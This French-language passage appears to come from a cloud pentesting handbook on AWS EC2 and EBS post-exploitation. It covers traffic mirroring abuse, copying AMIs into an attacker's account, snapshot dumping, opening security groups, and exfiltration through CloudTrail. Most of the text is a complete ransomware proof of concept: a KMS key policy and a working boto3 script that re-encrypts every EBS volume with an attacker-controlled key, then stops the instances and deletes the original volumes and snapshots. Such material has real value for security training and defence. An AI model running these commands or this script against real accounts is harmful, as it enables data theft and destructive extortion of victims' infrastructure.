Le mirroring de trafic VPC duplique le trafic entrant et sortant des instances EC2 au sein d'un VPC sans avoir besoin d'installer quoi que ce soit sur les instances elles-mêmes. Ce trafic dupliqué serait généralement envoyé à quelque chose comme un système de détection d'intrusion réseau (IDS) pour analyse et surveillance.
Un attaquant pourrait en abuser pour capturer tout le trafic et obtenir des informations sensibles à partir de celui-ci :
Les instances contiennent généralement une sorte d'informations sensibles. Il existe différentes façons d'y accéder (voir trucs d'escalade de privilèges EC2). Cependant, une autre façon de vérifier ce qu'elle contient est de créer une AMI et de lancer une nouvelle instance (même dans votre propre compte) à partir de celle-ci :
# List instancesawsec2describe-images# create a new image for the instance-idawsec2create-image--instance-idi-0438b003d81cd7ec5--name"AWS Audit"--description"Export AMI"--regioneu-west-1# add key to AWSawsec2import-key-pair--key-name"AWS Audit"--public-key-materialfile://~/.ssh/id_rsa.pub--regioneu-west-1# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instanceawsec2describe-instances--instance-idsi-0546910a0c18725a1# If needed : edit groupsawsec2modify-instance-attribute--instance-id"i-0546910a0c18725a1"--groups"sg-6d0d7f01"--regioneu-west-1# be a good guy, clean our instance to avoid any useless costawsec2stop-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1awsec2terminate-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1
EBS Snapshot dump
Les instantanés sont des sauvegardes de volumes, qui contiendront généralement des informations sensibles, donc les vérifier devrait révéler ces informations.
Si vous trouvez un volume sans instantané, vous pourriez : Créer un instantané et effectuer les actions suivantes ou simplement le monter dans une instance à l'intérieur du compte :
Un attaquant pourrait appeler des points de terminaison API d'un compte qu'il contrôle. Cloudtrail enregistrera ces appels et l'attaquant pourra voir les données exfiltrées dans les journaux Cloudtrail.
Open Security Group
Vous pourriez obtenir un accès supplémentaire aux services réseau en ouvrant des ports comme ceci :
awsec2authorize-security-group-ingress--group-id<sg-id>--protocoltcp--port80--cidr0.0.0.0/0# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc to ECS
Il est possible de faire fonctionner une instance EC2 et de l'enregistrer pour être utilisée pour exécuter des instances ECS, puis de voler les données des instances ECS.
Rechercher des informations sensibles dans les AMIs publiques et privées
https://github.com/saw-your-packet/CloudShovel : CloudShovel est un outil conçu pour rechercher des informations sensibles dans des images de machine Amazon (AMIs) publiques ou privées. Il automatise le processus de lancement d'instances à partir d'AMIs cibles, de montage de leurs volumes et de recherche de secrets ou de données sensibles potentiels.
Une preuve de concept similaire à la démonstration de Ransomware présentée dans les notes de post-exploitation S3. KMS devrait être renommé en RMS pour Ransomware Management Service avec la facilité d'utilisation pour chiffrer divers services AWS.
Tout d'abord, depuis un compte AWS 'attaquant', créez une clé gérée par le client dans KMS. Pour cet exemple, nous allons simplement laisser AWS gérer les données de la clé pour moi, mais dans un scénario réaliste, un acteur malveillant conserverait les données de la clé en dehors du contrôle d'AWS. Modifiez la politique de clé pour permettre à tout Principal de compte AWS d'utiliser la clé. Pour cette politique de clé, le nom du compte était 'AttackSim' et la règle de politique permettant tout accès s'appelle 'Outside Encryption'
La règle de politique de clé doit avoir les éléments suivants activés pour permettre son utilisation pour chiffrer un volume EBS :
kms:CreateGrant
kms:Decrypt
kms:DescribeKey
kms:GenerateDataKeyWithoutPlainText
kms:ReEncrypt
Maintenant avec la clé accessible publiquement à utiliser. Nous pouvons utiliser un compte 'victime' qui a quelques instances EC2 lancées avec des volumes EBS non chiffrés attachés. Les volumes EBS de ce compte 'victime' sont ce que nous ciblons pour le chiffrement, cette attaque est sous l'hypothèse d'une violation d'un compte AWS à privilèges élevés.
Cela laisse uniquement des volumes EBS chiffrés disponibles dans le compte.
Il convient également de noter que le script a arrêté les instances EC2 pour détacher et supprimer les volumes EBS originaux. Les volumes non chiffrés d'origine sont maintenant disparus.
Ensuite, retournez à la politique de clé dans le compte 'attaquant' et supprimez la règle de politique 'Outside Encryption' de la politique de clé.
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow access for Key Administrators","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Create*","kms:Describe*","kms:Enable*","kms:List*","kms:Put*","kms:Update*","kms:Revoke*","kms:Disable*","kms:Get*","kms:Delete*","kms:TagResource","kms:UntagResource","kms:ScheduleKeyDeletion","kms:CancelKeyDeletion"],"Resource":"*"},{"Sid":"Allow use of the key","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Encrypt","kms:Decrypt","kms:ReEncrypt*","kms:GenerateDataKey*","kms:DescribeKey"],"Resource":"*"},{"Sid":"Allow attachment of persistent resources","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:CreateGrant","kms:ListGrants","kms:RevokeGrant"],"Resource":"*","Condition": {"Bool": {"kms:GrantIsForAWSResource":"true"}}}]}
Attendez un moment que la nouvelle politique de clé se propage. Ensuite, retournez au compte 'victime' et essayez de joindre l'un des nouveaux volumes EBS chiffrés. Vous constaterez que vous pouvez attacher le volume.
Mais lorsque vous essayez de redémarrer l'instance EC2 avec le volume EBS chiffré, cela échouera et passera de l'état 'en attente' à l'état 'arrêté' indéfiniment, car le volume EBS attaché ne peut pas être déchiffré avec la clé puisque la politique de clé ne le permet plus.
Voici le script python utilisé. Il prend les identifiants AWS pour un compte 'victime' et une valeur ARN AWS disponible publiquement pour la clé à utiliser pour le chiffrement. Le script fera des copies chiffrées de TOUS les volumes EBS disponibles attachés à TOUTES les instances EC2 dans le compte AWS ciblé, puis arrêtera chaque instance EC2, détachera les volumes EBS d'origine, les supprimera, et enfin supprimera tous les instantanés utilisés pendant le processus. Cela laissera uniquement des volumes EBS chiffrés dans le compte 'victime' ciblé. N'UTILISEZ CE SCRIPT QUE DANS UN ENVIRONNEMENT DE TEST, IL EST DESTRUCTIF ET SUPPRIMERA TOUS LES VOLUMES EBS D'ORIGINE. Vous pouvez les récupérer en utilisant la clé KMS utilisée et les restaurer à leur état d'origine via des instantanés, mais je veux juste vous faire savoir qu'il s'agit d'une preuve de concept de ransomware à la fin de la journée.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
Semblable à l'exemple de ransomware S3. Cette attaque créera des copies des volumes EBS attachés en utilisant des instantanés, utilisera la clé disponible publiquement du compte 'attaquant' pour chiffrer les nouveaux volumes EBS, puis détachera les volumes EBS originaux des instances EC2 et les supprimera, et enfin supprimera les instantanés utilisés pour créer les nouveaux volumes EBS chiffrés.